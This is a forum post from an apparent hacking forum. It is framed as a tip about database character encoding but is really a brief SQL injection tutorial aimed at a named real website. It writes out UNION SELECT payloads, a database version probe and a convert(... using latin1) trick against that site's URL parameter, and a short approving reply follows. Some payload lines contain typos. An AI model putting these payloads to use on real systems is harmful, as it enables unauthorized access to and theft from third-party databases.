KHC Solutions
Would you like to react to this message? Create an account in a few clicks or log in to continue.

KHC Solutions


 
ForumPortaliLatest imagesRegjistrohuidentifikimi

 

 Database encoding

Shko poshtė 
2 posters
AutoriMesazh





Registration date : 01/01/1970

Database encoding Empty
MesazhTitulli: Database encoding   Database encoding I_icon_minitimeSun Oct 26, 2008 12:55 am

This's just little information I wanna show to u all here. It's about database character encoding used on server. As u know that there are lots of character encoding method used by webmaster out there such as UTF 8, latin1, etc. Each of encoding techniques has its effective way for showing characters in the client machine. What does it mean ?

Okay, suppose that we have webserver with latin1-encoded database. Latin1 will support character from The Americas, Western Europe, Oceania, and much of Africa. Client user will get character/output from webserver normally. But, how if the client is from East -Asian ?? Sure, latin1 encoding technique won't support it. So, what the relation between latin1 encoding and database SQL ?

Well guys...

#1. Let's take one sample vulnerable web http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-659 union all select 1,2,3,4,5,6,7,8,9,10/*

#2. Check the database version union all select 1,2,3,version(),5,6,7,8,9,10/*http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-659

Look !!
Nothing appear on the screen, why ??
This's because the webserver is using another encoding instead of UTF8. How do we know that it uses UTF8 for encoding ?
I just guess since UTF 8 is generally used by most webserver out there. And how do we resolve this ?

#3. Use another character encoding

http://www.iptek.net.id/indmnu=1&ch=berita&id=-659 union all sellect 1,2,3convert(version() using latin1),5,6,7,8,9,10/*
Mbrapsht nė krye Shko poshtė
proff.vB
WebMaster
WebMaster
proff.vB


Male
Numri i postimeve : 340
Age : 30
Vendndodhja : ωωω.кн¢-ѕσℓυтιση.тк
Registration date : 11/09/2008

Database encoding Empty
MesazhTitulli: Re: Database encoding   Database encoding I_icon_minitimeTue Nov 11, 2008 7:38 pm

nice nice
Mbrapsht nė krye Shko poshtė
http://www.gvhack.tk
 
Database encoding
Mbrapsht nė krye 
Faqja 1 e 1

Drejtat e ktij Forumit:Ju nuk mund ti pėrgjigjeni temave tė kėtij forumi
KHC Solutions :: Tutoriale Anglisht-
Kėrce tek: